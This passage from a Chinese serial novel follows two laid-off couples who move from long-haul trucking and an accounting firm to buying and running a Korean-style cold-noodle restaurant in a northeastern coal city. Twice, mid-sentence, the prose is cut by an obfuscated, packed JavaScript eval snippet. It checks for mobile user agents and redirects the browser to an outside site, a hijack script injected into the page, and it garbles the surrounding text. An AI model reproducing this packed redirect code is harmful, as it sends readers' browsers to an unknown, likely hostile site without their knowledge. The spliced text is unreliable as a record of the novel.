凤珍、王玲办理好楼房的贷款手续后，拿到了二户楼房钥匙。装房子时，凤珍考虑到，买斯太尔车，房子首付款、记账公司租房，占用了大量资金，这是大把大把的花钱，两辆车挣钱还车贷、房贷，明年记账公司房租到期前要购置记账公司办公室，资金紧张，所以要勤俭持家…… 新楼房交工后，买房的都在找装潢公司设计装修，或者请装修师傅装房，装修行业火了起来，人工费、材料费，包括家具、厨具等价格一路飙升…… 王玲的想法，新装房子一步到位，找装潢公司设计装修，购置家具要名牌的……她问凤珍：“咱们装房子用哪家装潢公司？” 凤珍说出截然不同的想法：“我们应该量力而行，我们两家现在经济能力不可能高档装房。我家墙壁暂时简单粉刷涂料，家具是两个老爸精心制作的，搬过来就行，厨具差不多可以……” 凤珍的理性认识想法影响了王玲，她们精打细算，两家自己买料，能省则省。 搬家那天，洪涛正好回煤城卸货，洪涛打电话给王玲说：“要回家看看，不然找不着家啦！” 王玲风趣地说：“是找不着家，还是找不着北啦！”帮忙搬家的弟弟、妹妹、弟媳都哈哈大笑了起来。 虽然房子是简装的，但是比起旧房子差距还是天壤之别的，屋里面积大了许多，室内格局新颖，客厅明亮，孩子卧室墙壁设计动画图案，增添了孩子快乐氛围……洪涛回到家看了看，一切都是新鲜感。 学校在小区附近，距离楼房新家很近不过百米。学校与小区平行，孩子们上学不用过道，孩子们上下学凤珍、王玲放心了，孩子们在这优美的环境中可高兴啦！ 洪涛赞扬凤珍和王玲主张购买新房是对的。 厚成回新家也赞成凤珍勤俭持家的作法，虽然装房简单、但新颖别致，既省钱，又实用。凤珍是个“内当家”的好媳妇，是能干事的女强人，是有高情商的智慧的女人，更是他最爱的人…… 进入腊月，气温低至零 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由于恶劣的气候，长途货运冬季的冬月、腊月这两个月运费收入勉强交各种费用、司机工资的成本，没有利润，两个月叫“白色冬腊月”。腊月二十三这一天，厚成、吕祥从哈市装了水泥预制板，正常行驶到依兰的路段，这时已经是凌晨二点多了，厚成开车感觉头忽悠一下打个盹，车开到对向车道护栏墩到大沟里，瞬间厚成站在车里，吕祥从卧铺滚到副驾驶下面空位夹在那里，吕祥看着自己没受伤，厚成也安然无恙，只不过瞭望小窗玻璃碎了。他俩庆辛地自己太有福了！厚成打电话救援，保险公司安排了吊车救援，吊车司机及工作人员看到货车象镶的一样乖乖地卧在沟里，感到太神奇了。 货车拴好绳子，吊车启动吊钩慢慢把货车吊起然后放在公路上。保险公司、交通警察勘察现场都感到，这是不幸中的万幸……交警看到公路的护栏破损了几处，对厚成说：“你们俩太幸运了，平安无事太好了。这几处护栏不需要赔偿了。”厚成连声说谢谢警察领导。大家哈哈大笑。厚成、吕祥过了一关。 洪涛打电话告诉厚成卸车后不要去装车了，让他们检查车。等他们回来见面。激动的声音从话筒里传出来。厚成、吕祥流下了眼泪。 俗话说：“常在河边走，哪有不湿鞋！有的事故防不胜防。 1999年春节快到了，腊月二十八这天，厚成、洪涛、冯文华、吕祥收了车，四个人车里车外打扫了一遍，归整了物品，洪涛给冯文华、吕祥发了工资，厚成还给了他们每人发了一千元红包，两个人高兴得双手合拢地说：“谢谢厚成哥、洪涛哥！” 厚成约定正月初三中午在煤城最大的酒店《居家美食酒店》聚会，邀请冯文华、吕祥、洪波等8个家庭带着媳妇、孩子准时参加。 14. 第十四章 正月初三，凤珍、王玲选好了居家美食酒店，订了一个3张桌子的大包间，中午11点8个家庭全到齐了，大家见面互拜新年。男人们因为几天的休息，都换上了节日的盛装，个个精神十足，年轻的几岁。女人们都化了淡妆，穿得花枝招展。男孩子们个个生龙活虎，女孩子们被妈妈打扮得个个像花一样的美丽。凤珍安排男士一桌，女士一桌，孩子们一桌。服务员开始上菜，今天的菜是凤珍、王玲精心挑选的，他们选了平时家庭不能做的菜肴，东坡肘子、香酥鸡、浇汁鲤鱼、干靠大虾、手把排骨、干煎黄花、腰果玉米、锅包肉、小酥肉、拔丝芋头、松仁玉米、豆沙包，12道大菜。男士喝茅台酒、青岛啤酒，女士们喝茅台、青岛啤酒、荔枝饮料，孩子们全部是荔枝饮料。 菜齐了，王玲主持宴会，王玲说：“在这新春佳节喜庆的日子里，8个家庭的宴会现在开始！请于厚成大哥致祝酒词，大家热烈鼓掌欢迎！” 厚成举杯说：“各位兄弟及家人们，大家新年好！过去的一年，我们取得了成功，新的一年祝在座的各位身体健康，财源滚滚，祝我们的事业更上一层楼！祝孩子们茁壮成长，快快乐乐！我们共同举杯干杯！” 大家齐说：“平安健康，财源广进！”大家酒和饮料喝了一口。 王玲让大家品尝菜，大家赞不绝口说菜：色，香，味俱全。 洪涛，洪波分别给大家敬酒，传亮，赵云龙，冯文华分别敬酒，凤珍，玉玲给大家敬酒。小凯、小刚给爸爸妈妈敬酒小凯说：“感谢爸爸、妈妈，给我们孩子们创造的幸福生活，我们要好好学习，天天向上。让父母放心！” 两个桌的父母高兴地热烈鼓掌。 大家互相敬酒，气氛热烈，氛围浓厚……宴会在喜庆祥和的气氛中结束。 凤珍带他们来到歌舞厅，包了一个大房间玩起来，唱歌，跳舞，厚成、凤珍唱了一首《夫妻双双把家还》，唱的有声有色，掌声不断。接下来他们唱呀，跳啊，跳啊，唱呀，尽情享受着幸福的时光，最后大家合唱《难忘今宵》。 正月初四，凤珍、王玲在同一个酒店同一个歌舞厅，以相同的形式宴请了记账公司的员工及家属，厚成、洪涛以家属的身份参加了活动…… 正月初六，四台车贴着红红的春联，洪波指挥车排好队形，两辆斯太尔车在前，两辆解放车在后，前后摆上了两挂5000响的鞭炮，在鞭炮声中，车轮滚动，新的一年开始了，他们的梦想要脚踏实地的一公里、一公里地实现…… 春天来了，厚成的车行驶在高速公路上，两个人轮换着休息，轮到厚成休息，他不想睡觉的时候，他坐在副驾位上，打开车窗向远处眺望，春天的太阳暖暖的照着，和煦的春风轻轻吹拂，让人想抓一把在手里的感觉，刚播完种子的土地一垄垄像排列整齐的队伍。山林里，高大的白杨泛黄的树叶已经翠绿了，在微风中轻轻摇动，互相诉说着情话。半个月以后，青苗已经覆盖了上大地，远远望去，像一块巨大的绿色地毯；回望村庄，一座座红砖白瓦盖的房子成片成片的，散落在太阳下的山坡上，能看到悠闲散步的老人，玩耍的孩子，小鸡在树下捉虫，小狗在晒太阳……家家户户的房顶冒着白色的炊烟，这是做午饭的时候，人间一片的烟火…… 北方春去迎来酷暑，中午的太阳大晒得地皮冒热气，晒得庄稼打蔫了。 厚成他们晚间行车的时间多，因为这个时间还是很舒服的。 春天的山是绿色的，那绿色是淡淡带着微黄嫩绿的。 夏天的山是绿色的，那是墨绿色的泛着油黑色的亮光。 秋天，下过一场秋霜，如同颜料一般，本来墨绿色的山神奇地变成了火红色、浅红色、金黄色、深紫色、浅紫色、深绿色、浅绿色、白色、粉红色。秋风吹过像七仙女孩的彩段，色彩斑斓，人们送给它一个美丽的名字“五花山”。每年这个季节厚成会沿途拍出一张张美景。 中秋节，大地上农作物成熟了，秋风带着五谷的芬香，时而捎着瓜果的甘甜，吹遍了大街小巷。 节日里人们忙碌磨着秋收用的镰刀，检修收割的农机具，攒足了力气，要收获一年的劳动果实。 厚成每次去吉林送煤，车到了吉林的地界都会被这黄金玉米带所震撼。一望无际的玉米地，好像连到天边，让你永远看不到尽头。秋天成熟的玉米穗子足有2尺长，炫耀般从玉米皮中露出了红黄相间的玉米粒子；饱满的玉米粒像一个个金豆子…… 11月末，玉米收割入库了，留在地里的秸秆农民开始焚烧，火焰一排排像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987685|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海浪向前追逐着，冒出浓浓的烟…… 冯文华早上6点多离双阳20公里处发生了小车追尾事故。原因是烧秸秆的烟雾被风刮到高速公路，行驶的车辆开着车雾灯也看不清前方道路，烟尘呛得人咳嗽，流出眼泪，一辆小车追尾钻到斯太尔的车厢下。小轿车只有一位驾驶员当场死亡，小轿车毁坏报废了。厚成报了警，交警到现场做了一系列勘察、采证，指挥厚成把斯太尔车开到服务区等候处理。 洪涛听厚成说了事故经过，安慰说：“事情已经发生了，你们着急也没用，相信警察会公正执法。但是也得几天时间，你们就当休息几天吧！” 厚成无奈地说：“只能这样了！” 厚成给货主打电话，把路上的情况说了一遍，煤不能按时送了，货主说：“不急用煤，让他们别着急上火！” 厚成、冯文华在服务区接到几次货主电话，催他们送煤供热期马上到了！”他俩如坐针毡，每天早上醒来，盼着交警给结案。一个星期过去了，交警处理结果出来了，厚成的斯太尔车无责任。可是他们车停了一个星期，耽误了几趟活，这个月没有利润了。此后焚烧秸秆的时间，他们不去吉林送煤了，再以后政府禁止焚烧秸秆。 记账公司运行稳定。在房租没到期之前，她们看好一处办公用房，面积适合，价格也适合，地点在现在办公室的对面，但是她们资金不够呀！正在为资金焦急之时，凤珍得到了信息，市里就业局办理下岗工人无息贷款，每个下岗工人可贷款五万元，凤珍，王玲，厚成、洪涛四个人可以贷款二十万元。凤珍、王玲很快地办理了贷款审批手续，和卖房的房主签订了合同，交了定金。一个月后货款到账了，交了全款，接过房子简单装修后搬入自己房子的办公室。厚成、洪涛、凤珍、王玲他们对下岗后的现状都十分满意。知足地感到，得益于国家的贷款政策，买车、买房，得益于政府的对下岗职工创业无息贷款的支持，政府没有忘记下岗工人这个群体…… 三年后厚成、洪涛，凤珍，王玲还完了车贷，还完了无息贷款，由于他们还贷款无一期违约，凤珍被银行评为有信誉的用户，发了一张白金卡，贷款额度很高。凤珍把卡放到保险柜里，看得很珍贵，并不是要使用这张卡，这是对他们信用的最高褒奖。 15. 第十五章 2004年9月份，凤珍从煤城日报看到一条广告，市里一个特色饭店对外转让，这家饭店是朝鲜族特色饭店，经营者是一家鲜族人。 凤珍看过广告沉思一会儿，将报纸递给了王玲。 王玲反复看了几遍问：“怎么有想法了？” 凤珍说：“这家鲜族特色饭店在煤城名气很大，当年是一个小饭店，发展到现在的规模，煤城人想吃狗肉必选这家饭店，而且各地的名人、政要来煤城，必定要光顾这家饭店，饭店的品牌是优良的，这一点毫无疑问。 王玲说：”你说的这些，我认同，只是这么好的饭店，为什么不经营出卖？我们去饭店了解一下情况。” 凤珍点点头说好，我们下午2点以后去饭店。 凤珍，王玲来到饭店中午饭口已经过去了，还有几桌人在喝酒。服务员小姑娘笑脸像盛开的牡丹花一样，热情地：“两位阿姨里面请坐！” 凤珍、王玲的情绪突然很快乐起来，也笑着说：“我们要找老板谈事情。” 服务员去找老板一阵风的走了。一会儿，服务员带来了老板。 老板是一位五十多岁的鲜族小老头，瘦小精干。笑着问：“二位找我有什么事？” 凤珍说：“我们在报纸上看到你家饭店出卖的消息过来了，想了解一下饭店情况。” 老板说：“我们去楼上谈吧！”老板前面带路，三个人来到了二楼。二楼的服务员正在打扫卫生，一个服务员过来说：“大姨夫，你们坐在这个单间儿吧！” 三个人坐下，服务员麻利地拿过来几瓶矿泉水，老板递给凤珍、王玲，自我介绍说：“我姓金！” 凤珍说：“我姓于！” 王玲说：“我姓王！” 凤珍说：“金老板，我们这也是认识了。你们真是诚心要卖饭店吗？” 金老板笑着说：“这个饭店真的是不舍得卖，我是因为儿子和媳妇在韩国几年了，事业发展的很好。孙子、孙女无人照料，只能忍痛割爱了。 王玲说：”既然这样，我们不多谈了。金老板，你把饭店的详细情况给我们介绍一下。“ 金老板介绍说：“饭店营业面积是这个二层楼，近500平方米。 楼上有10个单间，14个卡台。楼下有4个单间，6个卡台。厨房在一楼。楼上有一个女宿舍，楼下有一个男宿舍。另外，还有一个洗衣房30平米，一个仓库，30平米。这些房子都有房照。老板说着从保险柜取出来了房照，凤珍、王玲看过房照后，老板说：“我带你们实地看一遍。” 老板领着凤珍、王玲从楼上餐厅看到楼下餐厅，又到后院看了洗衣房，仓房，老板详细给他们介绍一番。 整体看过后凤珍说：”谢谢金老板饭店的大概情况，我们了解了我们回去以后和家人商量，然后给你回复！” 金老板说：“好我等你们电话。”双方留下了电话号码。 凤珍，王玲走到饭店门口，服务员像蝴蝶一样飞过来，笑弯了眼睛说：“欢迎两位阿姨再来！”这个微笑给凤珍留下了深刻的印象，凤珍的心情特别舒畅。 凤珍、王玲回到记账公司，她们是这样分析的：这个饭店最初是一个小平房的鲜族冷面馆，十多年后发展现在的规模，它主要是顾客认可饭店的菜品味道。如果师傅不换、味道不变，顾客不会因为换老板不来吃饭。我们接过饭店，按原来的模式管理，应该没有什么问题。只是老板要的价格按现在的市场房价是高了很多，如果想买要认真的和老板谈价，而且我们的价格谈妥后，交给一部分现款，剩余的要用房照抵押贷款。思路有了，他们决定和厚成和洪涛商量，听听他俩的意见？ 四个人见面后，凤珍和王玲介绍要买饭店的情况，厚成夏天来过这个冷面馆吃饭，看到客流很多说：“这个饭店客流没问题，夏季吃饭要排号，整体接饭店对我们外行人来说是有学习的时间，按照他们的模式管理，这些方面不用多想。饭店价格凤珍和王玲你们俩去问问房地产方面的朋友，评估这个地段饭店大概每平方米多少钱，如果价格能谈妥还要付给一部分钱，房子要过户给我们，贷款抵押后再全额转给老板，如果这个条件达不到，我们资金不够！” 洪涛说：“我们不急买，你们俩把这些事搞明白，达到我们预期，然后再定！” 四个人就这样决定了。凤珍、王玲开始找业内人士探讨饭店的价格，经过了解找到了合理的价格。她们来饭店见到了老板继续商谈饭店价格，经过几次的磋商，最后老板同意了她们的价格。然后谈了付款方式，王玲提出先付百分之三十，剩下的要先过户用饭店的房照抵押贷款，到账后全额付给老板。老板听后说：“可以理解，我要和家人商量，才能决定！” 三天后，饭店老板打来电话，让他们过去谈谈。凤珍、王玲到了饭店，老板说：“家里人商量过了，也了解了你们的两个家庭，你们是下岗职工，无论在单位，还是干个体，为人信用都很好，是值得信任的人，就按你们说的办吧！我们鲜族人没读几年书，你们写个合同拿过来，我们一起协商签订合同。交了首付款，房照过户给你们，我们负责教给你们管理方面的事情！” 凤珍说：“可以，合作愉快！”笑着分手了。 王玲分别给厚成、洪涛打了电话，把买饭店的进展情况汇报了。厚成说：“好！” 凤珍说：“我和王玲准备合同，你们回到煤城我们定下合同条款！” 厚成问：“如果交百分之三十首付款手里资金够不够？” 凤珍说；“办理房产过户、办理贷款，资金不足。我们见面再详细商量。 第二天下午，厚成打来电话有事说：“要你和王玲一起听电话！” 凤珍问：“有事商量吗？” 王玲接着说：“哥，我听着你说吧！” 厚成说：“在服务区有个熟悉的司机，他们通过关系接到了一份活要用大吨位的斯太尔车拉白灰修高速公路，他说，咱们斯太尔车况好，在服务区经常看到每个月跑的趟子，问想不想卖车？如果想卖给二十万元不讲价了。厚成说，我和洪涛商量过了，洪涛同意卖，说车本钱早回来了，卖二十万元投入饭店也是一样挣钱，听你们俩什么意见？” 凤珍、王玲都同意卖车说：“我们四个人都同意卖斯太尔，你们卖吧！” 厚成说：“我和买车的人定下来给钱交车！”厚成和买车人约定了，冯文华继续跟着车，工资待遇不变。 买车人高兴连连说：“好！好！”买车的人本来要在服务区把车接走，厚成说煤城还有车上的备件物品，让他来把东西装上拉走。冯文华说：“那些配件是施太尔专用的，丢掉可惜了！” 厚成他们晚上回到煤城把配件物品装上车，买车人付了钱后，厚成、凤珍、洪涛、王玲他们围着斯太尔车，恋恋不舍地流下了眼泪向斯太尔车告别！ 厚成紧握着冯文华的手说：“如果不适应给哥打电话，千万别挺着。哥想办法帮你！” 冯文华说：“哥哥谢谢你，我有困难，一定找你们的！”两个人手久久地握着……冯文华和买车人上了车，冯文华摁起喇叭滴滴——车开走了，扬起了烟尘。 翠日，厚成、凤珍、洪涛、王玲去饭店签了饭店的买卖合同， 按照双方约定，付了百分之三十现款，老板配合把房照过户到凤珍名下。国庆节前房产证抵押贷款到账后，转给了饭店老板。 厚成、凤珍、洪涛、王玲四个人开会决定分工：厚成、凤珍管理饭店日常工作，王玲管理记账公司，洪涛经营解放30吨货车。 国庆节这天，厚成、凤珍他们接了饭店，前期老板留在店里两天，教他们学习管理业务。店里员工仍然留在店里工作。 这个饭店名字《金达莱冷面馆》，其特色：新烀的狗肉特别香，紫色荞麦的冷面特别凉、特别筋道，打糕特别粘；别味的各种拌菜、麻辣鳕鱼、锅包肉等是特色菜。 厚成、凤珍考虑到店里菜品的特色风味，决定由厚成大妹、二妹来店里学习特色拌菜技术，大妹、二妹也已经下岗，都在打工。凤珍的表弟是炒菜师傅来店里学习本店的特色炒菜，店里的锅包肉、麻辣鳕鱼是桌桌客人必点的特色菜，做法与其它的中餐店不一样。 下了第一场雪后，店里的客人越来越少，接饭店第一个月赔了钱，店里的鲜族人张师傅40多岁，已经在店里工作了5年了，他对凤珍说：“老板娘，看你们夫妻都是诚实的人，我告诉你们，每年这个季节，店里都要减人，一个人能干两个人的岗位。到了春天旺季，再补充人。这个饭店冬季赔钱，春季保本，夏季挣钱，外行看热闹，内部人才知道饭店的实际经营情况！” 凤珍听后吓出了一身冷汗，他回到家和厚成把张师傅说的话说了一遍！ 厚成认为张师傅说得是实话说：“没有四季都挣钱的生意，无论做什么，都会有淡季、旺季。我们是下岗工人，知道失业是什么滋味，我们不能减员！” 凤珍也是这样想的，宁可赔一个冬季，坚持不减员工。从十月份到来年的三月份的半年时间，饭店赔了十三万元，他们还要定期还房贷，所用资金是从记账公司和解放货车跑运输的利润支出的，没有欠员工工资。 东北的四月冰雪开始融化，万物复苏，大地充满了生机和活力。温暖的的阳光和煦的春风，让人心向往……店里将迎来金色的旺季。 四月中旬，张师傅告诉凤珍说旺季来了，要做准备工作了。凤珍安排后厨的师傅把库里存放的餐具、工具全部搬到厨房清洗，前厅的服务员清洗酒壶，水壶、前厅的物品、所有门窗玻璃擦得铮明瓦亮。房门前空地上摆放了上百盆“鸿运当头”的盆花，红红的一片，预示着店里生意红红火火…… 凤珍给前厅服务员订了工装，上衣是粉色的带朝鲜飘带，海蓝色马甲和短裙，脚上穿得是黑色拉带平底鞋，扎着枣红色蝴蝶结的发髻高高地盘在头上；女孩们化着淡妆，一个个像出水的芙蓉妩媚娇艳。男服务生是红色的运动衫，蓝色带着白杠的运动裤，脚上是黑色白底的平底布鞋。后厨的师傅是白色的工作服。凤珍另给他们每人发一件天蓝色的运动衫。员工们的精神饱满，老话说，一分精神，一分财，人要有精神！ 四月下旬，客人陆续增加，饭店开始忙碌了起来。张师傅每天听天气预报，他告诉凤珍，这几天气温突然升高，最高气温达到28度，店里要多备料。凤珍安排各岗位师傅比平时多备出二倍的料。 果然，这几天店里楼上楼下的客人爆满，中午饭口一直持续到下午3点，员工们齐心合力圆满地完成了每一天工作任务。刚来的服务员看着饭店中午顾客像流水一样一直往里走，胆怯地不知道自己干什么了！还想这么多人吃饭后厨能不能做出这么多菜品？如果没有这些老员工，真不知道是什么样子啦！其实，刚来服务员想的，凤珍当时也是这么想的，她真怕后厨上不来菜品丢了顾客。事实上，员工已经交上了满意的答卷。自从这天开始，营业额每天都在一万元以上，一个月后凤珍结账，心里有底了。 “六一儿童节”这天，张师傅说，今天要多备料，锅包肉要比平时多出三倍。各岗位师傅忙着备料，将近10点开始上客，全是家长带着儿童，店里已经满员了，这时店里秩序还正常。11点以后，大批客人涌入，因为没有空位置，客人们主动排好队等位。等位时间长了，孩子们着急吵了起来，家长也沉不住气了，开始抢位。抢到位的客人点完菜，厨房炒好的菜刚推出来，他们开始抢菜，乱套了，服务员被挤得靠不上前，菜出来马上被抢光。凤珍收款只能是客人给多少钱就收多少钱，没有了依据。但是抢归抢，没有吵闹。将近下午1点以后秩序正常了。这时有演出的小朋友集体来吃饭，服务生们在院子里摆好桌子，有位爷爷带着孙子来吃饭，他一直不吃不喝，光看这些热闹的场面，对凤珍说，我这么大年纪，第一次见到这么火的饭店。问凤珍饭店卖不卖？说这几天要来谈买饭店。 这一天，中午10点一直忙到晚上10点，员工们抽空吃饭，晚上十一点关业后凤珍拢账，一天卖了二万多元，备的料全卖光了。晚上吃伙食饭，厚成买了各种熟食，全体员工喝啤酒，员工们边喝着边说一天的趣事，时而哈哈大笑。有个新来的两个月的服务员小杜看到这么多客人开始发懵，看到那个桌客人吃好了，起身要走时，他都要像玩老鹰捉小鸡一样，张开两个胳膊说：“买单，买单！”客人见状哈哈大笑，逗着说：“不买单，要跑掉！”客人们像在自己家这样随便，店里一片笑声。 凤珍嗓子喊哑了，回到家进屋脱下鞋，光着脚直奔沙发躺下睡着了，厚成去卧室拿了一条毛巾被慢慢的给凤珍盖在身上，看着凤珍疲劳的样子，心痛不已。 6月3日这天早上，凤珍买完料回到店里，后厨师傅正在备料，三个炒菜师傅没穿工作服，坐在大厅聊天。凤珍觉得有什么情况了，她去后厨问弟弟，他们三个师傅怎么不备料？表弟说他们说饭店旺季太累，要每个月加100元工资。 凤珍听后想，这刚刚是旺季，一个冬天客人少，店里赔钱工资照发，这也太没良心了吧，凤珍确实想不通。她没有理那三个炒菜师傅。 厚成来到店里了，凤珍把三个炒菜师傅要涨工资的情况对厚成说了。 厚成沉默一会儿说：“现在进入了旺季，我们没有时间调整人员，答应他们过了旺季，我们把带头的人找了出来辞掉！” 凤珍心想，只能这样了。 凤珍把三个师傅叫过来说：“每月涨一百元工资可以，以后有什么想法正常提出来，合理的想法一定能解决，不能像今天这样影响工作！” 三个人不好意思地穿上工作服备料去了。 晚上关业后，厚成、凤珍给员工开会，宣布从5月份起，后厨员工每个月每个人涨一百元工资，员工们响起了热烈掌声。 凤珍说：“进入旺季，每个岗位工作量都大了起来，一个厨房不能有两种待遇。前厅服务员工资以外有酒商给的酒水提成奖励，所以店里不给涨工资了，问大家这样合不合理？” 员工们齐声说：“合理！合理！ 凤珍、厚成从被动变主动，保证了旺季员工的稳定。饭店旺季5个月来，除了雨天顾客少特殊情况外，晴天店里天天爆满，一张桌平均翻三次台。早九点之前，单间全部预订了。服务员、服务生点菜，传菜，撤桌，后厨的员工只要有一点时间赶紧去前厅把撤下来桌的餐具端到后厨清洗盘碗，餐具没撤下来，洗盘工帮忙传菜，餐具撤下来之后，谁有时间就伸手刷碗洗盘，总之每个人像陀螺一样转着圈得忙！晚上，关业前撤下来的餐具，一方盘、一方盘的从楼上摆到楼下。每天王玲记账公司下班以后带来两家的弟弟妹妹、妹夫、弟媳妇过来帮忙。厚成看到员工这么辛苦，从菜市场买了烧鸡，各种熟食为员工增加营养。这个季节，凤珍、厚成每天早晨四点要到农贸市场买菜，最多要买三到五三轮车。后厨烀狗肉、做拌菜的师傅4点开始工作，其他员工6点开始工作。早上9点之前，一盆盆烀好冒着热气的狗肉装在保温桶里，等待饭口上桌；一大盆一大盆的各种拌菜，打糕、和好的冷面一卷一卷的，所有都要准备妥妥。炒菜师傅要备好锅包肉、麻辣鳕鱼料……一切就绪，员工吃早餐，稍作休息。到了饭口，都各就各位！上客了点完菜，后厨开始锅碗瓢盆叮当响，炒菜颠勺咔咔声、抽烟机轰轰声，客人喧闹声，汇成了人间烟火的交响曲，好不热闹！ 凤珍、厚成关心员工，员工的伙食，员工的福利，比之前的老板提高了一大截，员工前厅、后厨配合默契，忙而不乱，几种特色的菜品有鲜族师傅把关，味道不变。客人称，店里比以前管理的更好了，服务更到位……张师傅说：“今年比往年更火，算一下，一个夏天，啤酒卖上了上万件，鲜啤卖掉几千桶，饭店销量大，酒商让利给饭店，仅在酒的这一项饭店获得了很高的利润！” 凤珍在旺季开始，顾客反映晚上饭口冷面汁不凉。凤珍问冷面师傅：“这是什么情况？” 冷面师傅说：“冰箱备好的冷面汁还有冰块，中午饭口过后就用完了，下午冰镇的时间短，晚上吃得冷面就不凉！” 凤珍和厚成商量，冷面馆核心就是个“冷”字，顾客到冷面馆里吃得是个“凉”字，没有“冷”，哪有“凉”得味道！他们决定买几个制冷水柜，一台水柜近五千元，他们买了三个，又买了制冷的拌菜的展柜，满足顾客对冷面及凉拌菜的需求。 人忙时间过得快，凤珍、厚成经历了一整年的春夏秋冬，掌握了饭店的淡旺季的规律，实实在在收获饭店的第一桶金…… 中秋节放假的前两天，厚成、凤珍、洪涛、王玲主持了宴请全体员工及帮忙的亲朋好友。厚成深有感触地讲话：“感谢全体员工，感谢兄弟姐妹，感谢亲朋好友，一个夏天的走来，是你们辛勤付出，燃起我们饭店的火热，我给大家深深鞠躬啦……” 店里的鲜族男女跳起欢快的鲜族歌舞：“道拉基，道拉基，道拉基，白胖的桔梗，长满山野，只要挖一两颗，就能装满筐里…… 凤珍召集厚成、洪涛、王玲开会。 凤珍汇报说：“夏天饭店经营火爆，收入喜人，即使冬季饭店经营萧条，但年平均还是收入可观的！” 王玲汇报说：“记账公司客户稳定，经营稳增长。存在问题是：公司的电脑，还有其它设备，经常出现故障，维修人员不能及时修理，严重影响记账工作。还有日常的水，电等方面的维修维护，需要一位固定的维修人员……” 凤珍接过话题说：“现在记账公司需要固定的维修人员，根据目前我们的经营情况，解放货车贷款已经还完，记账公司饭店良性运行，我们不外聘维修技工，洪涛回记账公司学习维修电脑、其他设备，和王玲一起管理记账公司。解放货车首先问吕祥留不留车，如果吕祥留下，我们可以在价格上照顾一些，吕祥如果不留，我们外卖其他人。”厚成支持凤珍的意见说：“洪涛这几年出车已经有了严重的胃病，我们目前不需要拼命挣钱还贷款了。”王玲、洪涛想了想，一致投了赞成票。 洪涛问了吕祥，他同意留这辆车，洪涛四人商量了十三万价格后告诉吕祥说，现在你能给多少钱就给多少钱，其余的边开车挣钱边还钱就行！ 吕祥十分高兴说：“感谢厚成、洪涛和两位嫂子的照顾”。首付五万元车就开走了…… 9月末，饭店生意开始进入了淡季，饭店留下了所有朝鲜族师傅，炒菜师傅留两个人，服务员留四个人，这些是明年旺季的骨干力量。明年旺季之前，配齐各岗位人员。针对中午客人多，服务员、服务生不够用的问题，招聘饭店附近的妇女做钟点工，还有大学生放暑假的钟点工，他们、她们的工作是从中午10点到下午2点，负责传菜、撤桌，吃完工作餐后下班。这样既节省开支，又提高服务质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987686|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量，翻台率也提高。 厚成、凤珍管理饭店越来越到位，效益越来越好。 店里单身的鲜族师傅都住在店里，有个叫海龙的年轻人，18岁，身体长得瘦小，单薄，小时候没有妈妈，跟着父亲饥一顿、饱一顿的生活，坐下了严重的胃病。海龙是个懂事的孩子，很勤快，从来不用督促自觉地干活。哪里有活，主动去干。凤珍对他格外关心。这几天，凤珍发现他吃饭少，不说话，脸色蜡黄，感到他身体有问题，凤珍问道：“海龙，你哪里不舒服？” 店里员工的年轻人都叫凤珍大姨，海龙回答说：“大姨，这几天肚子疼，有时腰也疼！” 凤珍说：“你去休息，饭口过了我带你去医院检查一下！” 海龙说：“大姨，不用去检查，过几天就会好啦！” 凤珍说：“听我的，下午必须去医院检查！” 吃完中午饭，凤珍开车带着海龙去市里警官医院，找到了普外科的孙医生。孙医生是凤珍同学的丈夫，他问凤珍：“大忙人，你怎么来了？” 凤珍说：“孙医生，这是我饭店的员工叫田海龙，这几天肚子疼，请你给检查一下！” 孙医生让海龙躺在床上，仔细地检查。问：“腰疼吗？” 海龙说:“前几次腰不疼，这次腰疼了！” 孙医生对凤珍说：“这个患者是肠子粘连，得马上住院需要做手术！” 海龙听住院要手术吓得大声说：“大姨，我不手术，不手术！” 孙医生严肃说：“如果不手术会越来越严重，导致肠穿孔，威胁生命！” 凤珍安慰说：“海龙不要怕，孙医生是最好的普外医生，手术一定成功！” 凤珍打电话，让厚成安排一个服务生带着海龙的洗漱用品到警官医院。凤珍给海龙办理住院手续，海龙进了手术室，凤珍和服务生在手术室门外长椅坐着等候。3个多小时后，手术室门开了，孙医生从手术室出来，摘下口罩，对凤珍说：“来得很及时，这个患者已经病好长时间了，肠子粘连了，不做手术，马上就要穿孔，会有生命危险。” 凤珍嘘——松了一口气。 孙医生说：“需要一个星期才能出院，要注意休息，养一个月后在干点轻工作，多吃些营养的东西补补！” 凤珍说：“好！谢谢孙医生，有时间去店里喝点小酒，吃点狗肉！”孙医生喜欢吃凤珍饭店的狗肉，说她家的狗肉香，口感好！ 说着护士推着医护车海龙出来了，因为麻醉没有醒。小服务生在病房里陪着海龙一个多小时后，海龙醒了过来，看到自己腹部缠着白色的纱布问：“大姨，我的病拿出来了吗？” 凤珍说:”孙医生给你做手术很成功，你放心吧，住一个星期出院可以回饭店了！” 海龙笑着说：“谢谢大姨！我的住院费开资我还给你！” 凤珍说：“你不用想了，只管养病。不用谢，我们是一家人，应该做的！” 海龙流下了眼泪。 凤珍安排服务生在医院护理海龙说：“晚上店里来人给送饭！” 